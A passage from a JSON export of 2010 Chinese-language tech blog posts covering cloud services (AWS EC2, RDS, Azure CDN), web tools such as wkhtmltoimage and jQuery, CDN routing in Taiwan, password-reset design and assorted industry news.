href=\"http://www.flickr.com/photos/gslin/4822837463/\"><img src=\"http://farm5.static.flickr.com/4075/4822837463_e883729c4c_b.jpg\" alt=\"\" /></a>\r\nFlash 也沒問題：(點<a href=\"http://www.flickr.com/photos/gslin/4822797169/sizes/o/\">這裡</a>看原大小圖片)\r\n<a href=\"http://www.flickr.com/photos/gslin/4822797169/\"><img src=\"http://farm5.static.flickr.com/4079/4822797169_6767c98377.jpg\" alt=\"\" /></a>\r\n比起之前的方法，現在的方案有兩個好處：首先是 plugin 是照正規方法裝進去，而不是直接丟 xpi，可以避免遇到奇怪的靈異現象時懷疑是不是安裝時硬塞造成的。再來是 Iceweasel 會在抓完就 shutdown，所以在網路速度夠快的時候可以提前結束，而網路不夠快時也不用擔心抓到未完成圖...\r\n\r\n當然剩下有很多細節要處理啦，不過那是另外一回事了...",
    "title": "在 Linux 上架設 Screenshot Service (2010 年了？)"
  },
  {
    "id": "2271",
    "body": "<a href=\"http://xkcd.com/\">xkcd</a> 上的「<a href=\"http://xkcd.com/773/\">University Website</a>」：\r\n\r\n<a href=\"http://xkcd.com/773/\"><img src=\"http://imgs.xkcd.com/comics/university_website.png\" alt=\"\" /></a>",
    "title": "大學網站"
  },
  {
    "id": "2272",
    "body": "前陣子 <a href=\"http://jnlin.org/\">jnlin</a> 說<a href=\"http://www.tfn.net.tw/\">台固</a>到香港變差，結果剛剛才發現 <a href=\"http://www.akamai.com/\">Akamai</a> 從 7/26 後會把台固的使用者導到香港，而不是導到原本在台固內的 cluster：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4860905164/\"><img src=\"http://farm5.static.flickr.com/4082/4860905164_46fa4b5360_z.jpg\" alt=\"\" /></a>\r\n\r\n在<a href=\"http://www.fetnet.net/\">遠傳</a> (<a href=\"http://www.seed.net.tw/\">Seednet</a>) 的就沒這個問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4860905246/\"><img src=\"http://farm5.static.flickr.com/4119/4860905246_dcff8daf97_z.jpg\" alt=\"\" /></a>\r\n\r\n這麼一來，台固出國變差也不是什麼奇怪的事情？",
    "title": "台固的 Akamai cluster 似乎撤掉了..."
  },
  {
    "id": "2275",
    "body": "在「<a href=\"http://blog.sd.idv.tw/archives/286\">FreeBSD 上使用 wkhtmltopdf 做網頁擷取</a>」看到有人在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上用 Linux emulator 跑 <a href=\"http://code.google.com/p/wkhtmltopdf/\">wkhtmltopdf</a> 成功，那麼 <a href=\"http://www.linux.org/\">Linux</a> 上當然更沒問題啦...\r\n\r\n同一個計畫裡有 wkhtmltoimage，可以直接輸出成 PNG 格式，不過輸出的 PNG 沒有壓縮過 (應該吧，下面這張測試的原始輸出是 ~10MB，處理後是 ~500KB)，要用 <a href=\"http://pmt.sourceforge.net/pngcrush/\">pngcrush</a> 處理後才會比較小。\r\n\r\n不過 <a href=\"http://www.pixnet.net/\">PIXNET</a> 的網頁都會 segmentation fault 是怎樣 XD\r\n\r\n<strong>Update</strong>：在「<a href=\"http://code.google.com/p/wkhtmltopdf/issues/detail?id=333\">Segmentation fault while generating http://www.pixnet.net/</a>」這邊回報後，trunk 版修正了。\r\n\r\nwkhtmltoimage 輸出結果在這，點下去會出現原圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4891061834/sizes/o/\"><img src=\"http://farm5.static.flickr.com/4102/4891061834_f4e17ab40b_b.jpg\" alt=\"\" /></a>\r\n\r\n之前透過 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 的方法的輸出結果，點下去會出現原圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4822837463/sizes/o/\"><img src=\"http://farm5.static.flickr.com/4075/4822837463_e883729c4c_b.jpg\" alt=\"\" /></a>\r\n\r\n可以看出來字體的部份有差... 不過處理的速度與方便度比 Firefox 好太多了。",
    "title": "測試 wkhtmltoimage 的效果"
  },
  {
    "id": "2277",
    "body": "本來都是裝 <a href=\"http://www.freshports.org/www/p5-WebService-NoPaste\">www/p5-WebService-NoPaste</a>，不過這個年頭比較流行 <a href=\"http://gist.github.com/\">Gist</a>，翻了一下果然有人做 ports 了：<a href=\"http://www.freshports.org/www/gist\">www/gist</a>。\r\n\r\n使用方法跟之前的差不多，或是打 <code>gist -h</code> 也可以看到說明，不過 ports 裡的版本好像有點舊，等下來送 send-pr 更新...",
    "title": "改裝 www/gist"
  },
  {
    "id": "2279",
    "body": "<a href=\"http://jquerymobile.com/\">jQuery Mobile</a> 前幾天在 <a href=\"http://jquery.com/\">jQuery</a> 的官方網誌上公告出來了：「<a href=\"http://blog.jquery.com/2010/08/13/the-jquery-project-is-proud-to-announce-the-jquery-mobile-project/\">The jQuery Project is Proud to Announce the jQuery Mobile Project</a>」。\r\n\r\n不過照「<a href=\"http://jquerymobile.com/gbs/\">Mobile Graded Browser Support</a>」的表來看，這... 前途一片荊棘啊... XD",
    "title": "jQuery Mobile"
  },
  {
    "id": "2281",
    "body": "這應該有很標準的程序，不過好像還是有很多站沒這樣做...\r\n\r\n必要的步驟包括：\r\n<ul>\r\n\t<li>如果使用者只記得 username，輸入後告知使用者「已經發送確認信至 username 當初所註冊的信箱」。</li>\r\n\t<li>如果使用者只記得 e-mail，輸入後告知使用者「已經發送確認信至該 e-mail」，如果該 e-mail 沒有被註冊也不要有不同的訊息，因為如果可以判斷 e-mail 有沒有不同的訊息，可以利用這個功能大致判斷某個人有沒有註冊這個服務。</li>\r\n\t<li>基本上都要加上 <a href=\"http://zh.wikipedia.org/wiki/CAPTCHA\">CAPTCHA</a> 以及對 IP rate limit 避免有人利用這個行為惡搞。</li>\r\n</ul>\r\n要注意的是要透過「確認信」的步驟再改密碼，而不能在要求重設密碼時就馬上把密碼改掉，不然就可以惡搞使用者。",
    "title": "關於重設密碼的步驟"
  },
  {
    "id": "2283",
    "body": "先記錄下來，還要再想想：\r\n<ul>\r\n\t<li><a href=\"http://yro.slashdot.org/story/10/08/26/1859245/MPEG-LA-Announces-Permanent-Royalty-Moratorium-For-H264\">MPEG LA Announces Permanent Royalty Moratorium For H264</a></li>\r\n\t<li><a href=\"http://arstechnica.com/media/news/2010/08/mpeg-la-counters-google-webm-with-permanent-royalty-moratorium.ars\">MPEG LA counters Google WebM with permanent royalty moratorium</a></li>\r\n\t<li><a href=\"http://www.osnews.com/story/23735/MPEG-LA_Makes_Free_Internet_Video_Royalty_Free_Perpetually\">MPEG-LA Makes Free Internet Video Royalty Free Perpetually</a></li>\r\n\t<li><a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/08/mpeg-la-says-h264-will-be-royalty-free-for-life-for-content-that-is-free.html\">MPEG LA Says H.264 Will Be Royalty Free For Life, For Content That Is Free</a></li>\r\n</ul>\r\n然後 <a href=\"http://www.smilevideo.jp/\">Smilevideo</a> 馬上宣佈改用 <a href=\"http://zh.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a> 儲存低畫質影片的消息 (本來是用 FLV)：「<a href=\"http://blog.nicovideo.jp/2010/08/post_258.php\">低画質モード動画のフォーマット変更について</a>」。",
    "title": "H.264 的近況"
  },
  {
    "id": "2286",
    "body": "因為 mailing list 之類的東西我還是習慣在 <a href=\"http://www.mutt.org/\">mutt</a> 裡讀 (操作起來比較快)，而有時候會把 -announce 與 -users 都丟到同一個檔案裡，所以偶而會在一個檔案裡面有同時寄到多個 mailing list 而重複的信件...\r\n\r\n之前是看到的時候就手動砍掉，不過用 <a href=\"http://www.google.com/\">Google</a> 找了一下，發現早就有方法可以做了：「<a href=\"http://ronny.haryan.to/archives/2005/06/15/tip-remove-duplicate-emails-with-mutt/\">Tip: Remove Duplicate Emails with Mutt</a>」。\r\n\r\n變化一下就是用 <code>D</code> 然後輸入 <code>~=</code>，當離開這個信件檔時就會刪除這些重複的信件。等下再來研究要怎麼樣在切換信件檔時自動執行這個命令...",
    "title": "在 mutt 裡刪除重複的信件"
  },
  {
    "id": "2288",
    "body": "用 <a href=\"http://www.kernel.org/pub/software/scm/git/docs/git-archive.html\">git-archive</a>。\r\n\r\n預設是輸出成 tar 格式到 stdout，所以可以用下面的指令取出一份 archive：\r\n<blockquote><code>mkdir ../working\r\ngit archive master | tar -x -C ../working</code></blockquote>",
    "title": "Git 內類似 svn export 的功能"
  },
  {
    "id": "2289",
    "body": "<a href=\"http://techcrunch.com/\">TechCrunch</a> 放出消息說 <a href=\"http://www.cisco.com/\">Cisco</a> 打算要買 <a href=\"http://www.skype.com/\">Skype</a>：「<a href=\"http://techcrunch.com/2010/08/29/cisco-may-be-making-a-run-for-skype/\">Cisco May Be Making A Run For Skype</a>」。\r\n\r\nSkype 在月初的時候向 <a href=\"http://www.sec.gov/\">US SEC</a> 丟出 IPO 申請 (參考「<a href=\"http://techcrunch.com/2010/08/09/skype-ipo/\">Skype Files For IPO, Only 6 Percent Of Users Pay</a>」)，然後 Cisco 打算買下來...？\r\n\r\n這家公司的操作從 <a href=\"http://www.ebay.com/\">eBay</a> 時代到現在一直都很謎...",
    "title": "有消息說 Cisco 要買 Skype？"
  },
  {
    "id": "2291",
    "body": "自九月開始，微軟的 Windows Azure CDN 增加了兩個 PoP：「<a href=\"http://blogs.msdn.com/b/windowsazure/archive/2010/08/09/20-nodes-available-globally-for-the-windows-azure-cdn.aspx\">20 Nodes Available Globally for the Windows Azure CDN</a>」，參考文章最後的「UPDATE - 9/1/10」部份。\r\n<ul>\r\n\t<li>Seoul, KR</li>\r\n\t<li>Taipei, TW</li>\r\n</ul>\r\n這樣又多了一個 CDN 在台灣有 PoP... 其他幾家是 <a href=\"http://www.akamai.com/\">Akamai</a> 與 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a>。\r\n\r\n在台灣放的點是<a href=\"http://www.chief.com.tw/\">是方電訊</a>，以微軟自家的 <code>hp.msn.com</code> 測試 (目前是 CNAME 指到 <code>msnimstore.vo.msecnd.net</code>)，從 <a href=\"http://www.hinet.net/\">HiNet</a>、<a href=\"http://www.seed.net.tw/\">SEEDNet</a>、<a href=\"http://www.edu.tw/moecc/\">台灣學術網路</a> (透過 SEEDNet 轉過去) 都會被導到台灣的點，而<a href=\"http://www.tfn.net.tw/\">台灣固網</a>則是被導到美西，看起來是因為台固與是方是走 <a href=\"http://www.twix.net/\">TWIX</a>...\r\n\r\n是該跳下去玩看看的時候了...",
    "title": "Windows Azure CDN 的台灣 PoP..."
  },
  {
    "id": "2293",
    "body": "<a href=\"http://www.htc.com/www/product/desire/\">HTC Desire</a> 入手，拿到後先更新到 <a href=\"http://www.android.com/\">Android</a> 2.2，然後到 Market 上面抓一堆應用程式回來玩...\r\n\r\n等到比較熟了以後再來看看有什麼想法...",
    "title": "HTC Desire 入手..."
  },
  {
    "id": "2294",
    "body": "<a href=\"http://tw.yahoo.com/\">Yahoo! 奇摩</a>在網頁上增加手寫輸入法的功能，居然是在國外 <a href=\"http://www.readwriteweb.com/\">ReadWriteWeb</a> 上看到... 大概是因為時差的關係：「<a href=\"http://www.readwriteweb.com/archives/yahoo_adds_handwritten_search_for_chinese_characters.php\">Yahoo Adds Handwritten Search for Chinese Characters</a>」。\r\n\r\n<a href=\"http://www.yahoo.com/\">Yahoo!</a> 官方的公告在這：「<a href=\"http://www.ysearchblog.com/2010/09/08/hand-write-your-searches-in-yahoo-taiwan-and-hong-kong/\">Hand-Write Your Searches in Yahoo! Taiwan and Hong Kong</a>」。\r\n\r\n用 Flash 做的，不過這個功能有什麼用途嗎？",
    "title": "Yahoo! 奇摩在網頁上增加手寫輸入法..."
  },
  {
    "id": "2295",
    "body": "<a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 剛剛公佈新的 instance 叫做「Micro On-Demand Instances」，公告在這：「<a href=\"http://aws.typepad.com/aws/2010/09/new-amazon-ec2-micro-instances.html\">New Amazon EC2 Micro Instances - New, Low Cost Option for Low Throughput Applications</a>」、「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/09/09/announcing-micro-instances-for-amazon-ec2/\">Announcing Micro Instances for Amazon EC2</a>」。\r\n\r\n新的 micro instance 有幾個特性：\r\n<ul>\r\n\t<li>便宜，USD$0.02/hour 換算成一個月才 USD$14.4/month (以 30 天計算)，與 <a href=\"http://www.linode.com/\">Linode</a> 的 Linode 512 USD$19.95/month 有得拼 (不過 Linode 的 package 包括 200GB 頻寬與 16GB 空間)。</li>\r\n\t<li>可偶而超量使用的 CPU 資源 (可超量到 2 ECU，m1.small 才 1 ECU！)，這是 AWS EC2 第一個可以 burst CPU resource 的 instance。</li>\r\n\t<li>EBS-boot only，完全不管 image 更新的問題。</li>\r\n\t<li>雖然只有 613MB RAM，但可跑 32bits 與 64bits 作業系統。</li>\r\n</ul>\r\n在公告內有提到，除了拿來測試以外， 跑 DNS server 或是 Load Balancer (而不使用 <a href=\"http://aws.amazon.com/\">AWS</a> 自己的 <a href=\"http://aws.amazon.com/elasticloadbalancing/\">ELB</a>) 會比以前的 instance 適合。另外也可以跑 monitor service...\r\n\r\n這種型態的 instance 也可以 spot 競價倒是沒什麼特別的，不知道 CPU resource 可以 burst 到什麼程度...\r\n\r\n公告出來第一個感想就是很多 Cloud VPS 要倒楣了，因為這個價錢並不差，如果再加上在 AWS 同一個 zone 裡面內的頻寬不用錢，以及諸多服務 (尤其是 <a href=\"http://dev.mysql.com/\">MySQL</a> 資料庫服務 <a href=\"http://aws.amazon.com/rds/\">RDS</a>) 及延伸性 (更不用提 Amazon 的「名牌」了)，對於許多在家 startup 的吸引力就更大了...",
    "title": "AWS EC2 最新的 Micro On-Demand Instances"
  },
  {
    "id": "2296",
    "body": "<a href=\"http://twitterfeed.com/\">twitterfeed</a> 一直是 RSS feed 轉到 <a href=\"http://twitter.com/\">Twitter</a> 上的首選，但最近似乎怪怪的，blog.gslin.org 不管怎麼重設都沒辦法轉上去，找了一下資料發現也有人有類似的情況：「<a href=\"http://blog.tinyau.net/archives/2010/07/15/dlvr-it-alternative-of-twitterfeed\">dlvr.it - Twitterfeed 的另一選擇</a>」。\r\n\r\n所以，照著上面那篇文章，我也換去 <a href=\"http://dlvr.it/\">dlvr.it</a> 了，接下來就觀察看看吧...",
    "title": "從 twitterfeed 換用 dlvr.it..."
  },
  {
    "id": "2297",
    "body": "紀錄 192.88.99.1 這組 6to4 anycast 的情況，看起來好像還是不太好 XD\r\n<ul>\r\n\t<li><a href=\"http://www.hinet.net/\">HiNet</a>：日本的 relay router。</li>\r\n\t<li><a href=\"http://www.seed.net.tw/\">SEEDNet</a>：過 <a href=\"http://www.cogentco.com/\">Cogent</a> 到明尼蘇達大學。</li>\r\n\t<li><a href=\"http://www.tfn.net.tw/\">TFN</a>：<a href=\"http://www.he.net/\">HE</a>。</li>\r\n\t<li><a href=\"http://www.nctu.edu.tw/\">NCTU</a>：過 <a href=\"http://www.twgate.net/\">TWGate</a> 到澳洲。</li>\r\n\t<li><a href=\"http://www.hcrc.edu.tw/\">HCRC</a>：學網內的點，但不知道是哪裡 XD</li>\r\n</ul>",
    "title": "192.88.99.1 6to4 Anycast 的情況"
  },
  {
    "id": "2299",
    "body": "<a href=\"https://help.ubuntu.com/community/CloudInit\">CloudInit</a> (cloud-init) 是 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 針對 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 所發展出來的套件，以 EC2 instance 傳入的 userdata 解決每一台 instance 差異化的問題...\r\n\r\n對於 userdata 最大只能吃 16kbytes 的問題，也可以用 gzip 或是 <code>#include</code> 的方式解決。其他的範例可以在 <a href=\"http://bazaar.launchpad.net/~cloud-init-dev/cloud-init/trunk/files/head:/doc/examples/\">~cloud-init-dev/cloud-init/trunk</a> 這邊找到。\r\n\r\n等下再開一台 instance 測試看看...",
    "title": "Ubuntu 針對 EC2 發展出的 CloudInit"
  },
  {
    "id": "2300",
    "body": "是這張：\r\n<a href=\"http://www.flickr.com/photos/yeoaaron/5000000000/\"><img src=\"http://farm5.static.flickr.com/4109/5000000000_26ec2673a7_z.jpg\" alt=\"\" /></a>\r\n<a href=\"http://techcrunch.com/\">TechCrunch</a> 的報導在這：「<a href=\"http://techcrunch.com/2010/09/18/flickr-5-billionth-photo/\">Flickr Hits Its 5 Billionth Photo, And Here It Is</a>」。",
    "title": "Flickr 五十億張圖片"
  },
  {
    "id": "2301",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 推出了 <a href=\"http://aws.amazon.com/amazon-linux-ami/\">Amazon Linux AMI (Beta)</a>，讓想要用新版 <a href=\"http://kernel.org/\">Linux kernel</a> 的人可以在 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 上測試：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/09/14/announcing-the-amazon-linux-ami/\">Announcing the Amazon Linux AMI</a>」。\r\n\r\n包括了 32bits/64bits 以及 <a href=\"http://aws.amazon.com/s3/\">S3</a>/<a href=\"http://aws.amazon.com/ebs/\">EBS</a> boot 的版本 (所以總共四種版本)，基本的系統都是 <a href=\"http://fedoraproject.org/\">Fedora</a>。其中 EBS 版本可以直接用 t1.micro 跑起來，以目前跑起來的版本 <code>uname -a</code> 可以看到：\r\n<blockquote><code>Linux domU-12-31-38-02-55-4B 2.6.34.6-54.21.amzn1.i686 #1 SMP Sun Sep 12 06:48:07 UTC 2010 i686 athlon i386 GNU/Linux</code></blockquote>\r\n依照 kernel.org 的資料可以看到 2.6.34.6 是 2010/8/26 釋出，算是蠻新的版本了...\r\n\r\n接下來就是要找方法把 EC2 上 Fedora 系統換成 <a href=\"http://www.debian.org/\">Debian</a>，這個倒是有不少文件，像是：「<a href=\"http://alestic.com/2007/11/ec2ubuntu-build-ami\">Building EC2 Images from Scratch with ec2ubuntu-build-ami</a>」...\r\n\r\n<strong>Update</strong>：依照 Eric Hammond 的說法，不建議使用 ec2ubuntu-build-ami 這個 script 產生 AMI，參考<a href=\"http://groups.google.com/group/ec2ubuntu/msg/d9c8d72f4c7bb6d3\">他在 9/18 的回覆</a>。目前建議的方式是「<a href=\"http://alestic.com/2010/01/vmbuilder-ebs-boot-ami\">Building EBS Boot and S3 Based AMIs for EC2 with Ubuntu vmbuilder</a>」以及「<a href=\"http://alestic.com/2010/01/ec2-ebs-boot-ubuntu\">Building EBS Boot AMIs Using Canonical's Downloadable EC2 Images</a>」這兩篇。",
    "title": "AWS EC2 推出 Amazon Linux AMI (Beta)"
  },
  {
    "id": "2303",
    "body": "今天 AWS EC2 一口氣丟出一堆小功能：\r\n<ul>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/09/new-amazon-ec2-feature-idempotent-instance-creation.html\">New Amazon EC2 Feature: Idempotent Instance Creation</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/09/new-amazon-ec2-feature-resource-tagging.html\">New Amazon EC2 Feature: Resource Tagging</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/09/new-amazon-ec2-feature-filtering.html\">New Amazon EC2 Feature: Filtering</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/09/new-amazon-ec2-feature-bring-your-own-keypair.html\">New Amazon EC2 Feature: Bring Your Own Keypair</a></li>\r\n</ul>\r\n其實這些功能都沒什麼大不了的，Idempotent Instance Creation 可以避免重複產生 instance，而 Resource Tagging 暫時想不到用途，Filtering 則是 describe 的功能加強...\r\n\r\n對現在最有幫助的是第四個，<code>ssh</code> 時可以不用指定 <code>-i .ssh/ooxx.pem</code> 算是有直接影響的吧？目前還不能透過 Web Console 匯入，必須用 <a href=\"http://docs.amazonwebservices.com/AWSEC2/latest/CommandLineReference/ApiReference-cmd-ImportKeyPair.html\">ec2-import-keypair</a> 指令匯入。",
    "title": "AWS EC2 可以匯入自己的 SSH public key 了..."
  },
  {
    "id": "2304",
    "body": "在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 裡把不好看的字體換掉的 extension：「<a href=\"https://addons.mozilla.org/firefox/addon/80830/\">Font Replacer</a>」。\r\n\r\n主要是換掉 Courier，因為 anti-alias 不起作用：\r\n<a href=\"http://www.flickr.com/photos/gslin/5007795455/\"><img src=\"http://farm5.static.flickr.com/4148/5007795455_62722053b3_b.jpg\" alt=\"\" /></a>\r\n其中的 Bitstream Vera Sans Mono 是「<a href=\"http://www.gnome.org/fonts/\">Bitstream Vera Fonts</a>」這邊下載的...\r\n\r\n這是使用前：\r\n<a href=\"http://www.flickr.com/photos/gslin/5007804717/\"><img src=\"http://farm5.static.flickr.com/4151/5007804717_23595ccd52_o.png\" alt=\"\" /></a>\r\n這是使用後：\r\n<a href=\"http://www.flickr.com/photos/gslin/5007804699/\"><img src=\"http://farm5.static.flickr.com/4133/5007804699_410896b9b3_o.png\" alt=\"\" /></a>\r\n當然不一定要換成 Bitstream Vera Sans Mono，也可以換成其他的，像是系統內應該會有的 Courier New...",
    "title": "把不好看的字體換掉：Font Replacer"
  },
  {
    "id": "2305",
    "body": "<a href=\"http://samy.pl/evercookie/\">evercookie</a> 是一套想辦法在瀏覽器上留下可供紀錄的痕跡的 javscript library，支援非常多方法，想盡辦法產生類似 <a href=\"http://en.wikipedia.org/wiki/HTTP_cookie\">HTTP cookie</a> 的效果...\r\n\r\n從標準的 HTTP cookie、Flash 的 <a href=\"http://en.wikipedia.org/wiki/Local_Shared_Object\">Local Shared Object</a>，以及 HTML5 規格中的各類 Storage 外，另外還想實做 Web History 與 ETags！這真的不知道該說什麼了... XD\r\n\r\nHTTP cookie 可以用內建設定保護，而 <a href=\"https://addons.mozilla.org/firefox/addon/433/\">Flashblock</a>、<a href=\"https://addons.mozilla.org/firefox/addon/6623/\">BetterPrivacy</a> 可以擋 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash</a> 的 LSO 部份，至於其他的還要再找看看有沒有解...",
    "title": "evercookie - 想辦法在瀏覽器留下紀錄..."
  },
  {
    "id": "2306",
    "body": "<a href=\"http://www.aol.com/\">AOL</a> 這幾天一口氣買下 <a href=\"http://techcrunch.com/\">TechCrunch</a> (<a href=\"http://techcrunch.com/2010/09/28/tim-armstrong-we-got-techcrunch/\">Tim Armstrong: We Got TechCrunch!</a>)、<a href=\"http://thinglabs.com/\">Thing Labs</a> 以及 <a href=\"http://brizzly.com/\">Brizzly</a> (<a href=\"http://mashable.com/2010/09/28/aol-thing-labs-brizzly/\">AOL Acquires Thing Labs and Brizzly</a>)。\r\n\r\n是最近手上現金太多嗎... 啊，.com 泡沫差不多也十年了？",
    "title": "AOL 大動作... 買下 TechCrunch、Thing Labs 以及 Brizzly"
  },
  {
    "id": "2307",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到有人將 <a href=\"http://zh.wikipedia.org/wiki/HDCP\">HDCP</a> encryption/decryption 的程式寫出來了：「<a href=\"http://developers.slashdot.org/story/10/09/29/0513225/HDCP-EncryptionDecryption-Code-Released\">HDCP Encryption/Decryption Code Released</a>」。\r\n\r\n程式碼網站在「<a href=\"http://www.cs.sunysb.edu/~rob/hdcp.html\">HDCP Encryption/Decryption Code</a>」這裡，以 BSD license 釋出。為了加速加解密，也用上了 SSE2...\r\n\r\n640x480 加密的部份，使用單核心在 Intel Xeon 5140 上可以跑到 181 frames/sec，而在 Core2 Duo P9600 上 (也是只使用單核心) 則可以跑到 76 frames/sec，看起來是 L2 cache 的大勝利... 解密的部份只有 1/7 的速度，但可以使用多核心平行化處理，所以在高階的 CPU 上 1080p 應該有機會跑到 30 frames/sec。",
    "title": "BSD license 的 HDCP 加密、解密程式碼"
  },
  {
    "id": "2308",
    "body": "<strong>Update</strong>：下面連結已經失效，請參考「<a href=\"http://blog.gslin.org/archives/2012/08/06/2947/%E4%B8%8D%E5%AE%89%E8%A3%9D-adobe-dlm-%E7%9A%84%E5%89%8D%E6%8F%90%E4%B8%8B%E5%AE%89%E8%A3%9D-adobe-flash-player-11-x/\">不安裝 Adobe DLM 的前提下安裝 Adobe Flash Player 11.x</a>」。\r\n\r\n現在 <a href=\"http://www.adobe.com/products/flashplayer/\">Adobe Flash Player</a> 會要你裝 DLM 後再利用這個 P2P-based 的下載軟體安裝 Adobe Flash Player，再加上 Flash 三不五十就有安全漏洞要更新 (但以現在的環境來說，不能不用他)，在 HTML5 能取代他之前先暫時想辦法...\r\n\r\n如標題所說，直接下載對應的安裝檔而不要裝 DLM，在國外的 blog 有不少人寫過，像是：「<a href=\"http://www.404techsupport.com/2010/04/27/download-the-latest-adobe-flash-for-firefox-and-ie-without-any-extras/\">Download the Latest Adobe Flash for Firefox and IE Without Any Extras</a>」。\r\n\r\n簡單來說，對於 ActiveX-based 版本的 (也就是 IE 系列)，下載 <a href=\"http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe\">fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe</a> 這個即可。\r\n\r\n而對於 plugin-based 版本的 (除了 IE 以外的都是)，則是下載 <a href=\"http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe\">fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe</a> 這個即可。\r\n\r\n所以每次出安全性更新時都要抓兩份安裝。",
    "title": "直接安裝 Adobe Flash Player 而不安裝 DLM"
  },
  {
    "id": "2309",
    "body": "<a href=\"http://www.google.com/\">Google</a> 剛剛發表了 <a href=\"http://code.google.com/speed/webp/\">WebP</a>，一個從 <a href=\"http://zh.wikipedia.org/wiki/VP8\">VP8</a> 擷取出來的圖片壓縮格式：「<a href=\"http://blog.chromium.org/2010/09/webp-new-image-format-for-web.html\">WebP, a new image format for the Web</a>」。\r\n\r\n以 Google 的說法，從網路上隨機抽一百萬張圖片測試，原先使用 JPEG、PNG、GIF 壓縮的圖片，改用 WebP 後可以節省 39% 的空間。但這邊沒有提到測試的細節，像是壓縮後的品質，以及這一百萬張圖片是如何取樣...\r\n\r\n雖然在官方網站上有「<a href=\"http://code.google.com/speed/webp/gallery.html\">Sample image files in JPEG and WebP</a>」可以看，但比較奇怪的是，<a href=\"http://zh.wikipedia.org/wiki/%E8%90%8A%E5%A8%9C%E5%9C%96\">Lenna</a> 居然沒有列出來，這幾乎是圖片壓縮的必測項目？\r\n\r\n目前的 WebP 只是先從 VP8 抽出來而已，還沒有加到 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 裡，不過就網頁上的說明，已經在計畫了。",
    "title": "Google 發佈 WebP，號稱比 JPEG 更好的圖片壓縮格式..."
  },
  {
    "id": "2311",
    "body": "剛剛看到 <a href=\"http://www.google.com/\">Google</a> 買下了 <a href=\"http://www.blindtype.com/\">BlindType</a>：「<a href=\"http://googlesystem.blogspot.com/2010/10/google-acquires-blindtype-to-improve.html\">Google Acquires BlindType to Improve Android's Virtual Keyboard</a>」。\r\n\r\n這是 BlindType 的 demo：\r\n<object width=\"640\" height=\"385\"><param name=\"movie\" value=\"http://www.youtube.com/v/M9b8NlMd79w?fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/M9b8NlMd79w?fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"640\" height=\"385\"></embed></object>\r\nHoly...",
    "title": "Google 買下 BlindType"
  },
  {
    "id": "2313",
    "body": "<a href=\"http://aws.amazon.com/rds/\">AWS RDS</a> 支援 read replication 了：「<a href=\"http://aws.typepad.com/aws/2010/10/amazon-rds-announcing-read-replicas.html\">Amazon RDS: Announcing Read Replicas</a>」。\r\n\r\n不過常見到的問題還是會有，像是 replication lag 以及所產生的 read-after-write 問題。但對於許多 read 需求遠大於 write 需求的應用來說，RDS 新推出的功能可以再簡化 <a href=\"http://dev.mysql.com/\">MySQL</a> 的設置...",
    "title": "AWS RDS 支援 Read Replication"
  },
  {
    "id": "2314",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 在出了 2010/2/19 出了 1.4.2 之後，過了半年總算有 1.4.3 的消息了。預定在 10/16 要放出 1.4.3 正式版，這幾天正在做最後的測試：10/10 的「<a href=\"http://blog.jquery.com/2010/10/10/jquery-1-4-3-release-candidate-1-released/\">jQuery 1.4.3 Release Candidate 1 Released</a>」，以及 10/12 的「<a href=\"http://blog.jquery.com/2010/10/12/jquery-1-4-3-release-candidate-2-released/\">jQuery 1.4.3 Release Candidate 2 Released</a>」。\r\n\r\n這半年最主要的變化應該是 HTML5 的興起，所以可以看到很多針對 HTML5 而做的修改。\r\n\r\n另外九月的時候 <a href=\"http://jmrware.com/\">Jeff Roberson</a> (不是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> committer 那位) 對 jQuery 所使用的 regular expression 重新檢視過，再次把 jQuery 的效能再往上拉：「<a href=\"http://jmrware.com/articles/2010/jqueryregex/jQueryRegexes.html\">jQuery Regular Expressions Review</a>」，相關的 commit fix 可以在 <a href=\"http://github.com/jquery/jquery/commit/9dc6e0c572b9c809a3a4c123071d96d48a01dd1c\">9dc6e0c572b9c809a3a4c123071d96d48a01dd1c</a> 看到。",
    "title": "jQuery 1.4.3-RC* 開跑"
  },
  {
    "id": "2316",
    "body": "UPS 反而是機房斷線最常見的肇因：「<a href=\"http://www.datacenterknowledge.com/archives/2010/10/13/survey-ups-issues-are-top-cause-of-outages/\">Survey: UPS Issues Are Top Cause of Outages</a>」。\r\n\r\n這是美國機房的調查，取樣則是從「歸咎於機房的問題」中的 453 件分析，原因包括了：\r\n<ul>\r\n\t<li>UPS battery failure (65 percent)</li>\r\n\t<li>Exceeding UPS capacity (53 percent)</li>\r\n\t<li>Accidental emergency power off (EPO)/human error (51 percent)</li>\r\n\t<li>UPS equipment failure (49 percent)</li>\r\n</ul>\r\n應該是多選吧？不然超過 100% 了？",
    "title": "機房斷線最常見的肇因：UPS"
  },
  {
